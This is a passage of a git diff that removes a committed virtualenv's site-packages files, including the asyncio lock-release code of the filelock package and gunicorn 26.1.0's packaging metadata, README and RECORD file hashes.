_raise_grouped_errors(message, cancellation, first_error, marker=marker) - _raise_grouped_errors(message, cancellation, first_error, second_error, marker=marker) - if (context := first_error.__context__) is not None and context is not cancellation: - if (cancellation_context := cancellation.__context__) is not None: - _append_exception_context(context, cancellation_context) - cancellation.__context__ = context - first_error.__context__ = cancellation - _raise_chained_errors(first_error, second_error) - - async def release(self, force: bool = False) -> None: # ty: ignore[invalid-method-override] # ruff:ignore[boolean-type-hint-positional-argument, boolean-default-value-positional-argument] # public API: positional bool kept for backwards compatibility - """ - Release the file lock. The lock is only completely released when the lock counter reaches 0. The lock file - itself may be deleted automatically, the behavior is platform-specific. - - :param force: If true, the lock counter is ignored and the lock is released in every case. - - """ - if self._creator_pid != os.getpid() or not self.is_locked: - return - async with self._transition_gate.hold(): - await self._release_serialized(force=force) - - async def _release_serialized(self, *, force: bool) -> None: - if not self.is_locked: - return - if not force and self._context.lock_counter > 1: - self._context.lock_counter -= 1 - return - - lock_id, lock_filename = id(self), self.lock_file - _LOGGER.debug("Attempting to release lock %s on %s", lock_id, lock_filename) - release_future = self._start_tracked_release() - try: - await _wait_until_done(release_future) - except asyncio.CancelledError as cancellation: - try: - await _drain_future(release_future) - except BaseException as release_error: # ruff:ignore[blind-except] # cancellation and backend failure must both surface - self._commit_release_if_released() - self._raise_cancelled_errors(_ASYNC_RELEASE_CANCELLATION_ERRORS, cancellation, release_error) - self._commit_release() - raise - try: - _future_result(release_future) - except BaseException: # state follows the backend for control-flow exceptions too - self._commit_release_if_released() - raise - self._commit_release() - _LOGGER.debug("Lock %s released on %s", lock_id, lock_filename) - - def _commit_release_if_released(self) -> None: - # Commit only when the backend actually unlocked (close or unlink failed after the OS unlock). If the lock is - # still held, keep the counter so a later release can retry. - if not self.is_locked: - self._commit_release() - - def _start_internal_method( - self, method: Callable[[], None] | Callable[[], Coroutine[None, None, None]] - ) -> asyncio.Future[_BackendOutcome[None]]: - if iscoroutinefunction(method): - return asyncio.create_task(_capture_awaitable(cast("Callable[[], Coroutine[None, None, None]]", method)())) - loop = asyncio.get_running_loop() - sync_method = cast("Callable[[], None]", method) - if self.run_in_executor: - return loop.run_in_executor(self.executor, _capture_call, sync_method) - future: asyncio.Future[_BackendOutcome[None]] = loop.create_future() - future.set_result(_capture_call(sync_method)) - return future - - def _start_tracked_release(self) -> asyncio.Future[_BackendOutcome[None]]: - return self._start_internal_method( - self._release_with_fork_tracking_async - if iscoroutinefunction(self._release) - else self._release_with_fork_tracking - ) - - async def _acquire_with_fork_tracking_async(self) -> None: - with _fork_transition(self): - try: - await cast("Callable[[], Awaitable[None]]", self._acquire)() - except BaseException as acquisition_error: - await self._rollback_failed_acquire_async(acquisition_error) - raise - try: - self._register_context_descriptor() - except BaseException as registration_error: # cancellation must roll back the descriptor - await self._rollback_failed_registration_async(registration_error) - raise - if self.is_locked: - await self._invoke_on_acquired_async() - - async def _rollback_failed_acquire_async(self, acquisition_error: BaseException) -> None: - if not self.is_locked: - return - registration_error: BaseException | None = None - tracking_error: BaseException | None = None - try: - self._register_context_descriptor() - except BaseException as error: # ruff:ignore[blind-except] # preserve registration and acquisition failures - registration_error = error - try: - # Rollback may fail too; retain the fd so a child can close it without another identity probe. - self._register_unverified_context_descriptor() - except BaseException as error: # ruff:ignore[blind-except] # pragma: no cover - allocation/control-flow during fallback - tracking_error = error - try: - await _drain_future(self._start_tracked_release()) - except BaseException as rollback_error: # ruff:ignore[blind-except] # preserve rollback and acquisition failures - if registration_error is None and tracking_error is None: - self._raise_acquire_rollback_errors(acquisition_error, rollback_error) - _raise_cleanup_errors( - "lock acquisition cleanup failed", - acquisition_error, - registration_error, - tracking_error, - rollback_error, - ) - if registration_error is not None: - _raise_cleanup_errors( - "lock acquisition cleanup failed", acquisition_error, registration_error, tracking_error - ) - - async def _rollback_failed_registration_async(self, registration_error: BaseException) -> None: - tracking_error: BaseException | None = None - try: - # Rollback may fail too; retain the fd so a child can close it without another identity probe. - self._register_unverified_context_descriptor() - except BaseException as error: # ruff:ignore[blind-except] # pragma: no cover - allocation/control-flow during fallback - tracking_error = error - try: - await _drain_future(self._start_tracked_release()) - except BaseException as rollback_error: # ruff:ignore[blind-except] # preserve rollback and registration failures - _raise_cleanup_errors( - "descriptor registration cleanup failed", registration_error, tracking_error, rollback_error - ) - if tracking_error is not None: # pragma: no cover - requires failed in-memory fallback - _raise_cleanup_errors("descriptor registration cleanup failed", registration_error, tracking_error) - - async def _invoke_on_acquired_async(self) -> None: - if self._on_acquired is None or self._context.lock_counter != 1: - return - try: - self._on_acquired(cast("int", self._context.lock_file_fd)) - except BaseException as callback_error: # caller control-flow errors must release the lock - callback_context = callback_error.__context__ - try: - await _drain_future(self._start_tracked_release()) - except BaseException as release_error: # ruff:ignore[blind-except] # both errors surface via the group below - _raise_body_and_release(callback_error, release_error) - callback_error.__context__ = callback_context - raise - - async def _release_with_fork_tracking_async(self) -> None: - with _fork_transition(self): - try: - await cast("Callable[[], Awaitable[None]]", self._release)() - finally: - self._unregister_released_descriptor() - - def __enter__(self) -> NoReturn: - """Sync context manager entry is not supported because lock acquisition is a coroutine.""" - msg = "Use `async with`: acquire/release are coroutines and cannot be awaited in a sync context manager." - raise NotImplementedError(msg) - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - """Sync context manager exit is not supported because lock release is a coroutine.""" - msg = "Use `async with`: acquire/release are coroutines and cannot be awaited in a sync context manager." - raise NotImplementedError(msg) - - async def __aenter__(self) -> Self: - """ - Acquire the lock. - - :returns: the lock object - - """ - await self.acquire() - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - """ - Release the lock, reconciling a release failure with any body failure per :attr:`context_error_policy`. - - :param exc_type: the exception type if raised - :param exc_value: the exception value if raised - :param traceback: the exception traceback if raised - - """ - await self._release_in_context(exc_value) - - async def _release_in_context( # ty: ignore[invalid-method-override] - self, body_error: BaseException | None - ) -> None: - # The async counterpart of BaseFileLock._release_in_context: await release, then apply the same policy. - try: - await self.release() - except BaseException as release_error: - if body_error is None: - raise - if self._context_error_policy == "chain": - _append_exception_context(release_error, body_error) - raise - if ( - errors := _grouped_errors( - release_error, - _ASYNC_RELEASE_CANCELLATION_ERRORS, - (_ASYNC_RELEASE_CANCELLATION_MARKER_ATTR, _ASYNC_RELEASE_CANCELLATION_MARKER), - ) - ) is not None: - match errors: - # The marker is only ever set on a (CancelledError, backend_error) pair, so this always matches. - case (asyncio.CancelledError() as cancellation, backend_error): # pragma: no branch - _raise_grouped_errors(_ASYNC_CONTEXT_RELEASE_ERRORS, body_error, cancellation, backend_error) - _raise_body_and_release(body_error, release_error) - - def __del__(self) -> None: - """Release on deletion; safe to call during GC even when no event loop is running.""" - if vars(self).get("_creator_pid") != os.getpid(): - return # pragma: forked child - with contextlib.suppress(Exception): - try: - loop = asyncio.get_running_loop() - except RuntimeError: - loop = self._context.loop if self._context.loop and not self._context.loop.is_closed() else None - if loop is None: - return - if not loop.is_running(): # pragma: no cover - loop.run_until_complete(self.release(force=True)) - else: - loop.create_task(self.release(force=True)) - - -@dataclass -class AsyncFileLockContext(FileLockContext): - """A dataclass which holds the context for a ``BaseAsyncFileLock`` object.""" - - #: Whether run in executor - run_in_executor: bool = True - - #: The executor - executor: futures.Executor | None = None - - #: The loop - loop: asyncio.AbstractEventLoop | None = None - - -class AsyncThreadLocalFileContext(AsyncFileLockContext, local): - """A thread local version of the ``FileLockContext`` class.""" - - -class AsyncAcquireReturnProxy: - """A context-aware object that will release the lock file when exiting.""" - - def __init__(self, lock: BaseAsyncFileLock) -> None: # ruff:ignore[undocumented-public-init] # trivial release-on-exit proxy - self.lock = lock - - async def __aenter__(self) -> BaseAsyncFileLock: # ruff:ignore[undocumented-magic-method] # returns the wrapped lock - return self.lock - - async def __aexit__( # ruff:ignore[undocumented-magic-method] # releases the wrapped lock on exit - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - await self.lock._release_in_context(exc_value) # ruff:ignore[private-member-access] # releases the wrapped lock's context - - -class AsyncSoftFileLock(SoftFileLock, BaseAsyncFileLock): - """Simply watches the existence of the lock file.""" - - _lifetime_replacements: tuple[str, str] | None = ("AsyncStrictSoftFileLock", "AsyncSoftFileLease") - - -class AsyncStrictSoftFileLock(StrictSoftFileLock, BaseAsyncFileLock): - """Run strict owner-claim locking without blocking the event loop.""" - - -class AsyncSoftFileLease(SoftFileLease, BaseAsyncFileLock): - """Existence lock whose claim expires, so a peer may take it while the previous holder still runs.""" - - -class AsyncUnixFileLock(UnixFileLock, BaseAsyncFileLock): - """Uses the :func:`fcntl.flock` to hard lock the lock file on unix systems.""" - - -class AsyncWindowsFileLock(WindowsFileLock, BaseAsyncFileLock): - """Uses the :func:`msvcrt.locking` to hard lock the lock file on windows systems.""" - - -__all__ = [ - "AsyncAcquireReturnProxy", - "AsyncSoftFileLease", - "AsyncSoftFileLock", - "AsyncStrictSoftFileLock", - "AsyncUnixFileLock", - "AsyncWindowsFileLock", - "BaseAsyncFileLock", -] diff --git a/venv/Lib/site-packages/filelock/py.typed b/venv/Lib/site-packages/filelock/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/filelock/version.py b/venv/Lib/site-packages/filelock/version.py deleted file mode 100644 index 91df61eeb6075a4f6c97a71caf096dbf1283cb90..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/version.py +++ /dev/null @@ -1,24 +0,0 @@ -# file generated by vcs-versioning -# don't change, don't track in version control -from __future__ import annotations - -__all__ = [ - "__version__", - "__version_tuple__", - "version", - "version_tuple", - "__commit_id__", - "commit_id", -] - -version: str -__version__: str -__version_tuple__: tuple[int | str, ...] -version_tuple: tuple[int | str, ...] -commit_id: str | None -__commit_id__: str | None - -__version__ = version = '3.32.3' -__version_tuple__ = version_tuple = (3, 32, 3) - -__commit_id__ = commit_id = None diff --git a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/INSTALLER b/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/METADATA b/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/METADATA deleted file mode 100644 index ef32b22e8b71da5e2e5b0d1a734a69ea1e2f02ae..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/METADATA +++ /dev/null @@ -1,131 +0,0 @@ -Metadata-Version: 2.4 -Name: gunicorn -Version: 26.1.0 -Summary: WSGI HTTP Server for UNIX -Author-email: Benoit Chesneau -License-Expression: MIT -Project-URL: Homepage, https://gunicorn.org -Project-URL: Documentation, https://gunicorn.org -Project-URL: Issue tracker, https://github.com/benoitc/gunicorn/issues -Project-URL: Source code, https://github.com/benoitc/gunicorn -Project-URL: Changelog, https://gunicorn.org/news/ -Classifier: Development Status :: 5 - Production/Stable -Classifier: Environment :: Other Environment -Classifier: Intended Audience :: Developers -Classifier: Operating System :: MacOS :: MacOS X -Classifier: Operating System :: POSIX -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Topic :: Internet -Classifier: Topic :: Utilities -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Classifier: Topic :: Internet :: WWW/HTTP -Classifier: Topic :: Internet :: WWW/HTTP :: WSGI -Classifier: Topic :: Internet :: WWW/HTTP :: WSGI :: Server -Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content -Requires-Python: >=3.10 -Description-Content-Type: text/markdown -License-File: LICENSE -Provides-Extra: gevent -Requires-Dist: gevent>=24.10.1; extra == "gevent" -Requires-Dist: packaging; extra == "gevent" -Provides-Extra: tornado -Requires-Dist: tornado>=6.5.7; extra == "tornado" -Provides-Extra: gthread -Provides-Extra: setproctitle -Requires-Dist: setproctitle; extra == "setproctitle" -Provides-Extra: http2 -Requires-Dist: h2>=4.4.1; extra == "http2" -Provides-Extra: fast -Requires-Dist: gunicorn_h1c>=0.6.6; extra == "fast" -Provides-Extra: testing -Requires-Dist: gevent>=24.10.1; extra == "testing" -Requires-Dist: h2>=4.4.1; extra == "testing" -Requires-Dist: coverage; extra == "testing" -Requires-Dist: packaging; extra == "testing" -Requires-Dist: pytest>=9.0.3; extra == "testing" -Requires-Dist: pytest-cov; extra == "testing" -Requires-Dist: pytest-asyncio; extra == "testing" -Requires-Dist: uvloop>=0.19.0; extra == "testing" -Requires-Dist: httpx[http2]>=0.23.0; extra == "testing" -Requires-Dist: inotify>=0.2.10; sys_platform == "linux" and extra == "testing" -Dynamic: license-file - -# Gunicorn - -

- Gunicorn is maintained by volunteers. If it powers your production, please consider supporting us:
- GitHub Sponsors - Revolut -

- -[![PyPI version](https://img.shields.io/pypi/v/gunicorn.svg?style=flat)](https://pypi.python.org/pypi/gunicorn) -[![Supported Python versions](https://img.shields.io/pypi/pyversions/gunicorn.svg)](https://pypi.python.org/pypi/gunicorn) -[![Build Status](https://github.com/benoitc/gunicorn/actions/workflows/tox.yml/badge.svg)](https://github.com/benoitc/gunicorn/actions/workflows/tox.yml) - -Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. It's a pre-fork -worker model ported from Ruby's [Unicorn](https://bogomips.org/unicorn/) project. The Gunicorn server is broadly -compatible with various web frameworks, simply implemented, light on server -resource usage, and fairly speedy. - -**New in v25**: Per-app worker allocation for dirty arbiters, HTTP/2 support (beta)! - -## Quick Start - -```bash -pip install gunicorn -gunicorn myapp:app --workers 4 -``` - -For ASGI applications (FastAPI, Starlette): - -```bash -gunicorn myapp:app --worker-class asgi -``` - -## Features - -- WSGI support for Django, Flask, Pyramid, and any WSGI framework -- **ASGI support** for FastAPI, Starlette, Quart -- **HTTP/2 support** (beta) with multiplexed streams -- **Dirty Arbiters** (beta) for heavy workloads (ML models, long-running tasks) -- uWSGI binary protocol for nginx integration -- Multiple worker types: sync, gthread, gevent, asgi -- Graceful worker process management -- Compatible with Python 3.9+ - -## Documentation - -Full documentation at https://gunicorn.org - -- [Quickstart](https://gunicorn.org/quickstart/) -- [Configuration](https://gunicorn.org/configure/) -- [Deployment](https://gunicorn.org/deploy/) -- [Settings Reference](https://gunicorn.org/reference/settings/) - -## Community - -- Report bugs on [GitHub Issues](https://github.com/benoitc/gunicorn/issues) -- [Chat with us in your browser](https://web.libera.chat/?channels=%23gunicorn) (`#gunicorn` on Libera.Chat, no account needed) -- See [CONTRIBUTING.md](CONTRIBUTING.md) for contribution guidelines - -## Support - -Powering Python apps since 2010. Support continued development. - -[![Become a Sponsor](https://img.shields.io/badge/Become_a_Sponsor-❤-ff69b4)](https://gunicorn.org/sponsor/) - -### Sponsors - -Enki Multimedia - -## License - -Gunicorn is released under the MIT License. See the [LICENSE](https://github.com/benoitc/gunicorn/blob/master/LICENSE) file for details. diff --git a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/RECORD b/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/RECORD deleted file mode 100644 index a94f8c302b7df8d2ea4798d57e3b6e63478dac63..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/RECORD +++ /dev/null @@ -1,142 +0,0 @@ -../../Scripts/gunicorn.exe,sha256=GfQHSJ78LSGgdow7YFl8dbVE505c3AgGBq5GT0bbe_o,108397 -../../Scripts/gunicornc.exe,sha256=A0FRgLOhrZqIwtSOnnDwWBsebiNjrylm_zMxXtRfnkc,108395 -gunicorn-26.1.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -gunicorn-26.1.0.dist-info/METADATA,sha256=YWv89sgPDq4-B_MGNafSjl8vuq17bAI3dQAqvkL_D2k,5543 -gunicorn-26.1.0.dist-info/RECORD,, -gunicorn-26.1.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -gunicorn-26.1.0.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91 -gunicorn-26.1.0.dist-info/entry_points.txt,sha256=a82d7tohPJ0qraihJB39VR1fezRrmmfbIMGS3pkAsa8,147 -gunicorn-26.1.0.dist-info/licenses/LICENSE,sha256=FFfjCo9xM0808kG58mfn9VVlRJN7wsF1G8WLUiUMBUM,1136 -gunicorn-26.1.0.dist-info/top_level.txt,sha256=cdMaa2yhxb8do-WioY9qRHUCfwf55YztjwQCncaInoE,9 -gunicorn/__init__.py,sha256=nLkPALhQGCkRJ97CPid6tKehiDWoGV_yEpGS4d-gLIY,257 -gunicorn/__main__.py,sha256=tviepyuwKyB6SPV28t2eZy_5PcCpT56z7QZjzbMpkQw,338 -gunicorn/__pycache__/__init__.cpython-314.pyc,, -gunicorn/__pycache__/__main__.cpython-314.pyc,, -gunicorn/__pycache__/arbiter.cpython-314.pyc,, -gunicorn/__pycache__/config.cpython-314.pyc,, -gunicorn/__pycache__/debug.cpython-314.pyc,, -gunicorn/__pycache__/errors.cpython-314.pyc,, -gunicorn/__pycache__/glogging.cpython-314.pyc,, -gunicorn/__pycache__/pidfile.cpython-314.pyc,, -gunicorn/__pycache__/reloader.cpython-314.pyc,, -gunicorn/__pycache__/sock.cpython-314.pyc,, -gunicorn/__pycache__/systemd.cpython-314.pyc,, -gunicorn/__pycache__/util.cpython-314.pyc,, -gunicorn/app/__init__.py,sha256=8m9lIbhRssnbGuBeQUA-vNSNbMeNju9Q_PUnnNfqOYU,105 -gunicorn/app/__pycache__/__init__.cpython-314.pyc,, -gunicorn/app/__pycache__/base.cpython-314.pyc,, -gunicorn/app/__pycache__/pasterapp.cpython-314.pyc,, -gunicorn/app/__pycache__/wsgiapp.cpython-314.pyc,, -gunicorn/app/base.py,sha256=KV2aIO50JTlakHL82q9zu3LhCJrDmUmaViwSy14Gk6U,7370 -gunicorn/app/pasterapp.py,sha256=BIa0mz_J86NuObUw2UIyjLYKUm8V3b034pJrTkvF-sA,2016 -gunicorn/app/wsgiapp.py,sha256=gVBgUc_3uSK0QzXYQ1XbutacEGjf44CgxAaYkgwfucY,1924 -gunicorn/arbiter.py,sha256=kLHC8nqyXcjijSQhbO19Unu9KsElcrpR2c9mPkN4Has,35774 -gunicorn/asgi/__init__.py,sha256=hokd03Cc-qUDW9NB2TthfXrk-M31xofADPLoTpqobtE,698 -gunicorn/asgi/__pycache__/__init__.cpython-314.pyc,, -gunicorn/asgi/__pycache__/lifespan.cpython-314.pyc,, -gunicorn/asgi/__pycache__/parser.cpython-314.pyc,, -gunicorn/asgi/__pycache__/protocol.cpython-314.pyc,, -gunicorn/asgi/__pycache__/unreader.cpython-314.pyc,, -gunicorn/asgi/__pycache__/uwsgi.cpython-314.pyc,, -gunicorn/asgi/__pycache__/websocket.cpython-314.pyc,, -gunicorn/asgi/lifespan.py,sha256=DWHTb5174YGvBwYFJYiOIBwJmpVMKJORJaNabjtuUvw,6275 -gunicorn/asgi/parser.py,sha256=F-Ai6AepVp_e9JyZM_OqfUEtg4tfWMtwAPNjvfmMRdo,34750 -gunicorn/asgi/protocol.py,sha256=OmtpdyuUQrQD2FWq6FvZHL_uNMWShlutEntTjf1njrw,71159 -gunicorn/asgi/unreader.py,sha256=PUCT6dgPVEgRTKm14Lxp_eOgCFJt8IVNmyCgjKuV558,4121 -gunicorn/asgi/uwsgi.py,sha256=Sro0z_fCXZ7EuC4UcI2rvKGQ_0EEsLNpjIRYXOT_XQ4,5523 -gunicorn/asgi/websocket.py,sha256=cOTEAIf7ylL-unU5zE9i1-e83vaUmjo91StsTZwWZkg,14674 -gunicorn/config.py,sha256=Xa1xhC3xcrQmI6WdWPFSKMKjLLp9BZHa3E37saEYNic,96943 -gunicorn/ctl/__init__.py,sha256=Z2lOTPMyTjTf9_sZ6PF3Hvqhv7Ye838vlp6_-pQuDxk,496 -gunicorn/ctl/__pycache__/__init__.cpython-314.pyc,, -gunicorn/ctl/__pycache__/cli.cpython-314.pyc,, -gunicorn/ctl/__pycache__/client.cpython-314.pyc,, -gunicorn/ctl/__pycache__/handlers.cpython-314.pyc,, -gunicorn/ctl/__pycache__/protocol.cpython-314.pyc,, -gunicorn/ctl/__pycache__/server.cpython-314.pyc,, -gunicorn/ctl/cli.py,sha256=W9u6IleBNaZLCZaM8F7FeOz5RlqHDUNMAuSnRTAsl04,13202 -gunicorn/ctl/client.py,sha256=MjCSa-IMCezg9r2xvjcgAf5M6RVOB_69ZNOnWyO6zJg,3478 -gunicorn/ctl/handlers.py,sha256=91wvhsYKh1YnJAZgHfJ3o6aH5Ir8A1KmHGwGtjrRx8c,18207 -gunicorn/ctl/protocol.py,sha256=aKRk1c8blWJ3lxrt1FzCd2CfwwprZwG-wFK0kz17IiI,5705 -gunicorn/ctl/server.py,sha256=Em_4-rEpsp6794NK6fnLvmv__2SXvXoMgegT7oNIjcg,13827 -gunicorn/debug.py,sha256=3xY9r1PioItYtRsZkcpVvNfp21o_GQGTBqGb5oNzAJI,2312 -gunicorn/dirty/__init__.py,sha256=6c6MGPYQIEkAqhIpaf_TNcoImHVO5e4t2yuD3qskoUA,2017 -gunicorn/dirty/__pycache__/__init__.cpython-314.pyc,, -gunicorn/dirty/__pycache__/app.cpython-314.pyc,, -gunicorn/dirty/__pycache__/arbiter.cpython-314.pyc,, -gunicorn/dirty/__pycache__/client.cpython-314.pyc,, -gunicorn/dirty/__pycache__/errors.cpython-314.pyc,, -gunicorn/dirty/__pycache__/protocol.cpython-314.pyc,, -gunicorn/dirty/__pycache__/stash.cpython-314.pyc,, -gunicorn/dirty/__pycache__/tlv.cpython-314.pyc,, -gunicorn/dirty/__pycache__/worker.cpython-314.pyc,, -gunicorn/dirty/app.py,sha256=gst70jJ5cdzDa3xoCF-gu1xEwjcSS7exkzMTrzj1WLQ,10716 -gunicorn/dirty/arbiter.py,sha256=zUwOx7Kmf70c45gRx5TqIvM9r2RU_U5Yak-2eK_jF74,41857 -gunicorn/dirty/client.py,sha256=vy6H-DjTy_8lFGBAoD31aWCjmBnlvXqL4fGCozXTqEo,24300 -gunicorn/dirty/errors.py,sha256=LCHOra5SvVCMxLHDIBmlaoslSzAH_HwYZXSqUPpReEI,6401 -gunicorn/dirty/protocol.py,sha256=y4jVVKIvEz5d10SQwTRb577UVG3fM4k9DNsltJPQKiI,24862 -gunicorn/dirty/stash.py,sha256=xHepgEQcgxtT56VtftXWEL6lA5MA9Q4FKrtwdG5ulnE,13582 -gunicorn/dirty/tlv.py,sha256=P6z8O8IJEYy-5t2yZSCwEheaQ5ZIsDV1K8tiggS6fxs,10428 -gunicorn/dirty/worker.py,sha256=0orR-054bfZiUbd6Wu9DYu8eiSrl6riG7Cg9Y0DcPoU,17476 -gunicorn/errors.py,sha256=iLTJQC4SVSRoygIGGHXvEp0d8UdzpeqmMRqUcF0JI14,897 -gunicorn/glogging.py,sha256=neVMim0D6hg5LkXAdTHjFH-bYSj-q_R45uiOJ8ji_jQ,16069 -gunicorn/http/__init__.py,sha256=dgv0hNXC4hTwAfXmoJHO5wWVggcGiwEtteFMnlCS7k8,1162 -gunicorn/http/__pycache__/__init__.cpython-314.pyc,, -gunicorn/http/__pycache__/body.cpython-314.pyc,, -gunicorn/http/__pycache__/errors.cpython-314.pyc,, -gunicorn/http/__pycache__/message.cpython-314.pyc,, -gunicorn/http/__pycache__/parser.cpython-314.pyc,, -gunicorn/http/__pycache__/unreader.cpython-314.pyc,, -gunicorn/http/__pycache__/wsgi.cpython-314.pyc,, -gunicorn/http/body.py,sha256=PfQWGNsO0QPzI7TLvi5chB8zkUhQvn_5YANY-B3rGgQ,8056 -gunicorn/http/errors.py,sha256=_l6FbdTJRmEUAtPUlBqliCJVNQ3SGgI3VXK4370yuKk,4141 -gunicorn/http/message.py,sha256=5YFzUE3aA7ENt5q33FQjKJnOTMi8h_hmjX_ffSZfHiA,35173 -gunicorn/http/parser.py,sha256=vTmcW4TZYJ5QwylzcyFxjReL61nirKVnK68_GiTi2eY,4274 -gunicorn/http/unreader.py,sha256=F3PlM4yeYsENsNyIl85kXmycjVHSGN1WT4mKnq8idRc,1971 -gunicorn/http/wsgi.py,sha256=nAKCfyIATNl4Ctu213p5rzIfJLpzdXjxfxcvy-maNrs,18048 -gunicorn/http2/__init__.py,sha256=4cxrWfVejZONOaw_j3TNn5EZpnGyHG_MrLWCe1I8X7c,2228 -gunicorn/http2/__pycache__/__init__.cpython-314.pyc,, -gunicorn/http2/__pycache__/async_connection.cpython-314.pyc,, -gunicorn/http2/__pycache__/connection.cpython-314.pyc,, -gunicorn/http2/__pycache__/errors.cpython-314.pyc,, -gunicorn/http2/__pycache__/request.cpython-314.pyc,, -gunicorn/http2/__pycache__/stream.cpython-314.pyc,, -gunicorn/http2/async_connection.py,sha256=lnz640FQeiyDDO94LIGYZsuwlsh_JDcFPDoXUofiyeU,20959 -gunicorn/http2/connection.py,sha256=LHCf4S4JwHDaFsSdAy_BUKQjbrfUaTvJC7e5RRaBPmk,22596 -gunicorn/http2/errors.py,sha256=Z5SGnGjabPRcj8DJonTo_oA10At-D3bieKb8TVwnakI,3825 -gunicorn/http2/request.py,sha256=KSC346edKRB3uV-II_2u7NVZiGiu98QDpqhT0xRPd68,6488 -gunicorn/http2/stream.py,sha256=Za-8VrkiqbGvl2OYEByETIwwvhkVDUPg9z5CxDwqJYU,10993 -gunicorn/instrument/__init__.py,sha256=8m9lIbhRssnbGuBeQUA-vNSNbMeNju9Q_PUnnNfqOYU,105 -gunicorn/instrument/__pycache__/__init__.cpython-314.pyc,, -gunicorn/instrument/__pycache__/statsd.cpython-314.pyc,, -gunicorn/instrument/statsd.py,sha256=uRPlFOKD9MxqzYwMIOgNkwgEplVj4g7nxLt7J3NcF8g,4981 -gunicorn/pidfile.py,sha256=SMExJy68s9ZlynsbCzqA38vRjsLQkIg967t6KSLPXTQ,2381 -gunicorn/reloader.py,sha256=I-95NDdbW28RYsq-_ii3abw4Br7SBORbf9kQoXetKJY,4250 -gunicorn/sock.py,sha256=QVUM6dB81Yx1AGv16Tn1DBxG2K1lG9HXbi8CxZFvY6w,9295 -gunicorn/systemd.py,sha256=S7i5tsZbyq4NjlpaVD-aEnxl6lJk7lK-wWQ348JjG44,2547 -gunicorn/util.py,sha256=ZejUgBU2pht-EGkWMsP3h72zKLkwmYreERW4SqVJaXA,20824 -gunicorn/uwsgi/__init__.py,sha256=ExWw2tRgxiVPiV7iHw1PngVegxhNHGJDFs6GvdJCr74,502 -gunicorn/uwsgi/__pycache__/__init__.cpython-314.pyc,, -gunicorn/uwsgi/__pycache__/errors.cpython-314.pyc,, -gunicorn/uwsgi/__pycache__/message.cpython-314.pyc,, -gunicorn/uwsgi/__pycache__/parser.cpython-314.pyc,, -gunicorn/uwsgi/errors.py,sha256=6u_qwzZLBQADUpmT-RuTnqjZ11PxBnpNzGAmzgnQrK4,1318 -gunicorn/uwsgi/message.py,sha256=cKXKEpJ2PzcN9NPPi9Z7QhlgBwFFYCbmA0ZGzcjDnbs,8189 -gunicorn/uwsgi/parser.py,sha256=VQ7_omgPWo5YifLbDLlZAi4hWXUjVhxYdEWBf0nOB1k,300 -gunicorn/workers/__init__.py,sha256=yWJ2K0YwSJ-4bPFKaCpAa-7JuJ0kKsRdRZ5gfVkuqWk,560 -gunicorn/workers/__pycache__/__init__.cpython-314.pyc,, -gunicorn/workers/__pycache__/base.cpython-314.pyc,, -gunicorn/workers/__pycache__/base_async.cpython-314.pyc,, -gunicorn/workers/__pycache__/gasgi.cpython-314.pyc,, -gunicorn/workers/__pycache__/ggevent.cpython-314.pyc,, -gunicorn/workers/__pycache__/gthread.cpython-314.pyc,, -gunicorn/workers/__pycache__/gtornado.cpython-314.pyc,, -gunicorn/workers/__pycache__/sync.cpython-314.pyc,, -gunicorn/workers/__pycache__/workertmp.cpython-314.pyc,, -gunicorn/workers/base.py,sha256=CS9SYiCExurLT7irMzh7Jf-I95utZzg-2qmIsGIR6Jw,9899 -gunicorn/workers/base_async.py,sha256=ZHBsZoXhgIFGm8qfHgB2pCK5juKmOCArQVXstKoEtRI,9763 -gunicorn/workers/gasgi.py,sha256=qTXzhSVeVFA75ZRVIwzSLC-qZfLEERuMOUYkX5w-RIA,10697 -gunicorn/workers/ggevent.py,sha256=zYfqPp7J6hXkUDtRBFZCvVGWKloD7onATr6l_94OfXY,5885 -gunicorn/workers/gthread.py,sha256=Mk5c3HLDHYPrqCO_DVCYRPTpyewlM8PaX7UFtobFsMA,26573 -gunicorn/workers/gtornado.py,sha256=51PHg16BQHFRp4BamKQ--KPlWhNbW-uYrlNv6bd41ZE,3905 -gunicorn/workers/sync.py,sha256=w3m_XmijK9kZY2YelyE-8SJ9-s7veFUbVawFCUZmhIE,7421 -gunicorn/workers/workertmp.py,sha256=bswGosCIDb_wBfdGaFqHopgxbmJ6rgVXYlVhJDWZKIc,1604 diff --git a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/REQUESTED 